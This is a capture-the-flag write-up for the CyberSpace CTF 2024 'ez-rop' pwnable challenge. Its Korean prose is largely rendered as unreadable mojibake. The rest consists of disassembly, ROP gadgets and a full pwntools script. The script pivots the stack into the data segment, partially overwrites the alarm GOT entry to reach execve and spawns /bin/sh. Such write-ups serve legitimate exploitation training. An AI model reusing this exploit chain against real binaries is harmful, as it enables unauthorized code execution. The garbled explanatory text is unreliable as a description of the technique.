CyberSpace CTF 2024 - ez-rop
๋ชฉ์ฐจ
CyberSpace CTF 2024 pwnable challenge ๋จ์ํ BOF๊ฐ ๋ฐ์ํ์ง๋ง ์ทจ์ฝ์ ์ ์ด์ฉํด์ ๋น์ฅ PIE๊ฐ ๊บผ์ ธ์๊ธฐ ๋๋ฌธ์ DATA ์์ญ์ธ ์ด์ ๋ฐ๋ผ์ payload๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํ์๋ค. ์ด์ payload๋ฅผ ์ด์ฉํด์ ์์ ๋์ฐ๋ฉด ๋๋๋ฐ, ํน์ดํ๊ฒ ์ด ๋ ์ค์ ํด๋ ์ฌ๊ธฐ์์ ์ดํ์๋ ์ง๊ธ ์๊ฐํด๋ณด๋ 0x00. Introduction
[*] '/home/user/ez-rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000) 0x01. Vulnerability
char *sub_401192()
{
char s[96]; // [rsp+0h] [rbp-60h] BYREF
return fgets(s, 116, stdin);
}s๋ฅผ ์ฑ์ฐ๋ ๋ฐ์ 0x60 ๋ฐ์ดํธ๋ฅผ ์ฌ์ฉํด์ผ ํ๋ฏ๋ก return ์ดํ์ ๊ตฌ์ฑํ ์ ์๋ stack์ด ๊ฑฐ์ ์๋ค. 0x02. Exploit
Fake Stack
rip๋ฅผ controlํด๋ ํ ์ ์๋ ๊ฒ์ด ์๊ธฐ ๋๋ฌธ์, payload๋ฅผ ๊ตฌ์ฑํ ์ ์๋ ์์ญ์ ์ฐพ์๋ณด์๋ค.gefโค vmmap
[ Legend: Code | Stack | Heap ]
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /home/user/chall
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /home/user/chall
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /home/user/chall
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /home/user/chall
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /home/user/chall
...0x404000 ์์ญ์ ์ฃผ์๊ฐ ๊ณ ์ ๋์ด์๋ค. sub_401192()๊ฐ ์ข
๋ฃ๋ ๋ leave; ret์ ํ๋ฏ๋ก, ๋์ถฉ ์ค๊ฐ์ฏค์ธ 0x404800์ sfp์ ๋ฃ์ด๋๋ฉด rsp๋ฅผ ํด๋น ๊ฐ์ผ๋ก ์กฐ์ํ ์ ์๋ค.rsp๋ฅผ ์
๋ ฅ์ ๋ฐ๋ ํจ์์ ์ธ์๋ก ์ ๋ฌํด์ผ ํ๋๋ฐ, ์ธ๋งํ ๊ฐ์ ฏ์ด ์์๋ค. ๋์ fgets๋ก ์
๋ ฅ์ ๋ฐ๋ ๊ณผ์ ์์ rdi์ ๊ฐ์ด rax, rbp๋ฅผ ํตํด ์ค์ ๋๋ค๋ ๊ฒ์ ์ด์ฉํด์ ๊ฐ์ ์ ๋ฌํ ์ ์์๋ค..text:0000000000401192 push rbp
.text:0000000000401193 mov rbp, rsp
.text:0000000000401196 sub rsp, 60h
.text:000000000040119A mov rdx, cs:stdin ; stream
.text:00000000004011A1 lea rax, [rbp-60h]
.text:00000000004011A5 mov esi, 74h ; 't' ; n
.text:00000000004011AA mov rdi, rax ; s
.text:00000000004011AD call _fgets
.text:00000000004011B2 xor rdx, rdx
.text:00000000004011B5 nop
.text:00000000004011B6 leave
.text:00000000004011B7 retn # fgets(0x4047a0, 0x74, stdin)
payload = b"A" * 0x60
payload += p64(0x404800) # rbp = 0x404800
payload += p64(0x401196) # middle of fgets
payload += b"\x00\x00\x00" # dummy
s.send(payload)
sleep(0.5) Return Oriented Programming
pop ๊ฐ์ ฏ์ด ๋ง์ง ์์ IDA๋ก ํ์ธํด๋ณด๋ ์ธ๋งํ ๊ฐ์ ฏ์ ์ญ์ ํ๊ณ ๋ค์ ๋ค ๊ฐ์ ฏ์ ์ด์ฉํ ๋ฌธ์ ํด๊ฒฐ์ ์๋ํ ๊ฒ ๊ฐ์๋ค.# mov rdi, rsi gadget
.text:0000000000401156 push rbp
.text:0000000000401157 mov rbp, rsp
.text:000000000040115A mov rdi, rsi
.text:000000000040115D retn
# pop rbp gadget
.text:000000000040115F pop rbp
.text:0000000000401160 retn
# pop rsi gadget
.text:0000000000401161 push rbp
.text:0000000000401162 mov rbp, rsp
.text:0000000000401165 pop rsi
.text:0000000000401166 retn
# read(0, buf, 8) gadget
.text:000000000040116A push rbp
.text:000000000040116B mov rbp, rsp
.text:000000000040116E sub rsp, 10h
.text:0000000000401172 lea rax, [rbp-8h]
.text:0000000000401176 mov edx, 8 ; nbytes
.text:000000000040117B mov rsi, rax ; buf
.text:000000000040117E mov edi, 0 ; fd
.text:0000000000401183 call _read
.text:0000000000401188 xor rdx, rdx
.text:000000000040118B xor rax, rax
.text:000000000040118E retnread ๊ฐ์ ฏ์ด ์์๋๋ฐ, fgets์ ๋น์ทํ๊ฒ rbp ๊ฐ์์ 8์ ๋บ ๊ฐ์ด rax๋ฅผ ํตํด rsi๋ก ์ ๋ฌ๋๋ค. rbp๋ pop rbp ๊ฐ์ ฏ์ ์ด์ฉํ์ฌ ์์ ๋กญ๊ฒ ๊ฐ์ ์ค์ ํ ์ ์์ผ๋ lea rax, [rbp-8h] instruction์ ๊ฐ์ํด์ ์
๋ ฅ๋ฐ์ ์ฃผ์์ 8์ ๋ํด์ rbp ๊ฐ์ ์ค์ ํ๋ฉด ๋๋ค.rsp ๊ฐ์ ๋ณ๊ฒฝ์ํค์ง ์๊ธฐ ์ํด read ๊ฐ์ ฏ์ ์ค๊ฐ์ธ 0x401172 ์ฃผ์๋ก ๋ฐ๋ก ๋ฐ๋๋ก payload๋ฅผ ๊ตฌ์ฑํ๋ค. # read(0, alarm.got, 8) ; alarm.got = 0x404008
# rdi = 0, rsi = alarm.got, rdx = 8
payload = p64(elf.got['alarm'] + 8) # alarm.got + 8
payload += p64(0x401172) # middle of readalarm์ GOT์ ๊ฐ์ ์ฐ๊ธฐ๋ก ํ๋๋ฐ, libc๋ฅผ leakํ๊ธฐ ์ํ ์ถ๋ ฅ ํจ์๊ฐ ํ๋๋ ์๊ธฐ ๋๋ฌธ์ execve์ ๊ฐ์ฅ ๊ฐ๊น์ด ํจ์๋ฅผ ์ฐพ์ partial overwrite๋ฅผ ํ๊ธฐ ์ํจ์ด๋ค. ๊ฐ์ฅ ๊ฐ๊น๋ค๋ ๊ฒ์ offset ์ฐจ์ด๊ฐ ๊ฐ์ฅ ์กฐ๊ธ ๋๋ค๋ ๊ฒ์ด๊ณ , ๊ฐ๊น์ด ํจ์์ GOT๋ฅผ ๋ฎ์ด ์ด ๊ฒ์ aslr์ ์ํ exploit ํ๋ฅ ์ ์ต๋ํ ๋์ผ ์ ์๊ธฐ ๋๋ฌธ์ด๋ค.execve ํจ์ ์ธ์๋ฅผ ๋ง์ถฐ์ฃผ๊ธฐ ์ํด "/bin/sh\x00"๋ฅผ ๋ฉ๋ชจ๋ฆฌ์ ์จ๋๊ณ ๊ฐ์ ฏ์ ์ด์ฉํด ์ ๋ฌํ๋ ๊ณผ์ ๋ง ์ํํด์ฃผ๋ฉด ๋๋ค. # read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
pop_rbp = 0x401168
payload += p64(pop_rbp)
payload += p64(0x404908) # 0x404900 + 8
payload += p64(0x401172)
# execve("/bin/sh", 0, 0)
# rdi = 0x404900, rsi = 0, rdx = 0
mov_rdi_rsi = 0x40115a
pop_rsi = 0x401165
payload += p64(mov_rdi_rsi)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(elf.plt['alarm'])
payload += b"B" * (0x60 - len(payload))
payload += p64(0x4047a0)
payload += p64(0x401190)
payload += b"\x00\x00\x00"
log.info(f"payload len : {hex(len(payload))}")
s.send(payload)
sleep(0.5)fgets ์ ๋ง์ง๋ง์ ๋จ๋ 3๋ฐ์ดํธ์ sh;๋ฅผ ๋ฃ๊ณ ๊ทธ ์ฃผ์๋ฅผ ์คฌ์ด๋ ๋ ๊ฒ ๊ฐ๋ค. 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "chall"
LIBRARY = "libc-2.31.so"
CONTAINER = "44c6741a4dc0"
bp = {
'main' : 0x4011B8,
'leave_after_fgets' : 0x4011b6,
'ret_after_fgets' : 0x4011B7,
}
gs = f'''
b *{bp["leave_after_fgets"]}
b *{0x401183}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main(server, port, debug):
if(port):
s = remote("0.0.0.0", port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY)
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if debug:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
# fgets(0x4047a0, 0x74, stdin)
payload = b"A" * 0x60
payload += p64(0x404800) # rbp = 0x404800
payload += p64(0x401196) # middle of fgets
payload += b"\x00\x00\x00" # dummy
s.send(payload)
sleep(0.5)
# read(0, alarm.got, 8) ; alarm.got = 0x404008
# rdi = 0, rsi = alarm.got, rdx = 8
payload = p64(elf.got['alarm'] + 8) # alarm.got + 8
payload += p64(0x401172) # middle of read
# read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
pop_rbp = 0x401168
payload += p64(pop_rbp)
payload += p64(0x404908) # 0x404900 + 8
payload += p64(0x401172)
# execve("/bin/sh", 0, 0)
# rdi = 0x404900, rsi = 0, rdx = 0
mov_rdi_rsi = 0x40115a
pop_rsi = 0x401165
payload += p64(mov_rdi_rsi)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(elf.plt['alarm'])
payload += b"B" * (0x60 - len(payload))
payload += p64(0x4047a0)
payload += p64(0x401190)
payload += b"\x00\x00\x00"
log.info(f"payload len : {hex(len(payload))}")
s.send(payload)
sleep(0.5)
# read(0, alarm.got, 8)
payload = b"\x80\xb0"
# payload = b"\x80\x50"
s.send(payload)
sleep(0.5)
# read(0, 0x404900, 8)
payload = b"/bin/sh\x00"
s.send(payload)
sleep(0.5)
s.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)